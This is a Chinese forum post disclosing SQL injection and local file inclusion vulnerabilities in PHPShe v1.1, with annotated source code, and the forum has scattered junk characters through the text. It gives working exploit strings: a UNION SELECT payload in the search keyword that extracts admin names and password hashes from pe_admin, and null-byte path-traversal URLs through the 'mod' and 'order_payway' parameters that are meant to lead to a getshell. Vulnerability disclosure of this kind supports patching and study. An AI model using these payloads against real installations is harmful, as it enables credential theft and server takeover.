找回密码
 立即注册
查看: 2749|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
/*******************************************************/
9 _# J- U1 S& e3 a# \- g; S% T1 \/* Phpshe v1.1 Vulnerability+ J& N  @0 B8 @+ }% l7 ^. v2 T
/* ========================2 h* x7 J3 X# }" H0 h
/* By: : Kn1f3% d, u4 K3 S2 e5 {5 [
/* E-Mail : 681796@qq.com" E& ^# [. s, D6 V# L8 D) M. m1 [
/*******************************************************/5 u% ~  ^3 I% T- _, X. q* n
0×00 整体大概参数传输2 e3 u3 H6 {% C! z4 ~  Z1 v

  P; |4 Y+ L) f& n6 C8 b, z& o+ V
, C- j# B" {2 d* t4 _- F* Z
//common.php
& F( b* X0 p* L2 ~1 sif (get_magic_quotes_gpc()) {
5 L- K/ U% d4 A6 L% w!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');& m/ D0 I9 A  Z- ]% ?2 @$ u( \
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');5 C" `. ~& j& S0 x. P* R0 W
}
* |/ T0 Q3 W: h" nelse {4 ]2 @5 D( o; C) @& L* j, d
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
  s% x) H, r5 Z!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');, B: H3 O* ~" k
}. e  X& P9 _6 E2 O6 r
session_start();! @+ T1 g* W1 z6 @& M
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');/ P0 Q  @: ~$ }; Z
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
7 R" V  C, y5 |7 S+ U" [3 C8 `; |. o* D. U5 M4 {; R
0×01 包含漏洞
$ j9 z. x- C$ C9 H2 _+ q
/ K" N% b( L: F* _2 A2 K
) M- N6 y6 p; z4 [6 _
//首页文件7 `( `2 Q0 O; P  y# r
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);8 a: S8 t: N; y. {
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
4 _. ~; H% J. V, cpe_result();8 o, g0 Y( B+ x3 C$ u$ t3 K
?>& D6 V4 T$ @6 @+ B
//common 文件 第15行开始  B7 `+ c( x$ B3 E0 n! ^
url路由配置2 h/ }5 e7 S) T) l: g, a: w, z+ D
$module = $mod = $act = 'index';
, Q: l" i5 T& P$ j' D- U  ^- E) Z$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);2 u, T; h: w8 c% J7 N
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);6 R2 h: _! @" L0 J
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
& Z2 h8 x4 R) n3 ?3 l$ u//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
% }8 R. |, u1 j


! t2 K2 \" ]4 O! ]  C0 L
1 o' p+ ]5 Q( z: z: L* s 0×02 搜索注入* U# z( {9 }0 p' ~  z/ X, m: @3 g
7 a% t; g/ {  ~- u, {  D
<code id="code2">

//product.php文件9 Q3 H: h) q  H, H4 C1 s, ]; v$ M
case 'list':
7 |' |' a  G7 e4 ^! q$category_id = intval($id);- ~' }+ f; C+ F
$info = $db->pe_select('category', array('category_id'=>$category_id));
( f) O' p/ s+ l3 ]* k  x//搜索' g* t( Y- X* X; g7 W/ O+ r7 l6 F( F
$sqlwhere = " and `product_state` = 1";
- o4 P$ |7 Y' `- K" Z1 N* A( Q; T& Tpe_lead('hook/category.hook.php');
" r, @2 V2 i- s) `' ^9 rif ($category_id) {
8 N6 ~7 q, x2 c+ [3 X; i1 X# twhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";# o& H8 \% n. ]( T) R" m
}: L- j: m3 F6 x. u& z- n
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
/ @9 Y8 I7 m# @8 jif ($_g_orderby) {1 @7 X) m# K4 Q
$orderby = explode('_', $_g_orderby);
. |# a5 k7 q4 K2 {7 k% Z; N% v$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
! z, n- n2 W/ L7 H7 e}
' D2 w" @9 z7 k5 d: ?! K* {( lelse {
$ O/ K3 a1 B/ W$sqlwhere .= " order by `product_id` desc";: I4 x8 j/ k9 W" }6 G
}% Q9 m/ C2 C( m; k
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));+ {6 p) F( y+ }  R; z
//热卖排行
$ x* O: s$ g! `$product_hotlist = product_hotlist();
" B. ]1 A; r6 ~" X! _, q//当前路径, m$ C) H$ \" E: V
$nowpath = category_path($category_id);
  }" u; V( J6 c% A) P$seo = pe_seo($info['category_name']);$ J: i6 V8 K8 n4 \
include(pe_tpl('product_list.html'));
1 `( W/ X8 M1 H% C4 \//跟进selectall函数库
+ z0 @# C1 f9 ^8 R- J% hpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())+ p; G# ?$ {5 c& Z! V) ~/ Q
{: W9 l, z* F# g% O
//处理条件语句
6 Q" Y3 [: r9 o7 r$sqlwhere = $this->_dowhere($where);
/ v1 r) \% h  @$ t" U2 kreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
" H3 h, O8 x5 \1 o}4 t) s8 b2 T4 X+ E8 L
//exp0 g" ]) o) X# N6 D
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
6 M" \/ d* s$ j

</code>9 @% H  `' Q3 `( _
" y3 F* _. j4 M! p
0×03 包含漏洞2* E" q- X: N& z0 L0 t( h- h/ Q
/ v( r- ^1 c1 K. _
<code id="code3">

//order.php

case 'pay':

( q# S' G) V% D, X3 Z# z
$order_id = pe_dbhold($_g_id);


. L  n5 Q4 T* _' A$cache_payway = cache::get('payway');

( @% _! C# M- l/ ^! g, Y
foreach($cache_payway as $k => $v) {


1 g/ S  L2 L5 x  @4 z$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

. B+ Q; |0 M: j
if ($k == 'bank') {


% m. M1 s; c2 I. E/ {5 V# K; A2 ]( e7 Q$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


2 R9 h7 u/ Q& V- s# {6 u0 a}


0 y' d5 O! F! \& W3 P0 R1 [}


( }3 F, ~. V; W6 ]% o' B$ o$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

. [# L' D. F, T; ?( u
!$order['order_id'] && pe_error('订单号错误...');

/ C; L5 G' Y0 l' b' b/ ~
if (isset($_p_pesubmit)) {

% i: g- ?" C- m4 W: c+ k: e
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


7 ~5 }+ r- N/ a! ~+ \$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

' S: m7 _9 z, i6 l
foreach ($info_list as $v) {

9 A8 n( d0 J6 _9 ^4 \+ e! n. a2 \, @! p# n
$order['order_name'] .= "{$v['product_name']};";7 W8 B6 t5 T) a


8 t& O8 m# M9 z( L" [}


9 W$ O1 M. j3 X4 A/ }6 o. s0 Oecho '正在为您连接支付网站,请稍后...';

+ t% t+ R0 ?( t0 Q
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

) Y: o7 F/ C' g2 p
}//当一切准备好的时候就可以进行"鸡肋包含了"


$ ]" G$ x7 j* ]1 H; ~: p9 z. belse {

4 M/ a4 X, i5 a! K4 Q
pe_error('支付错误...');


% n: |" _9 J% x2 A; J}


2 A2 k4 v* f6 \6 W: z4 b}


2 P1 a1 D1 w9 v3 i$seo = pe_seo('选择支付方式');

, e. K" Q: V9 J0 A) e. ~" y
include(pe_tpl('order_pay.html'));

1 _: x" J- R$ B0 r
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
  j" J4 c5 P( D( `/ E

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表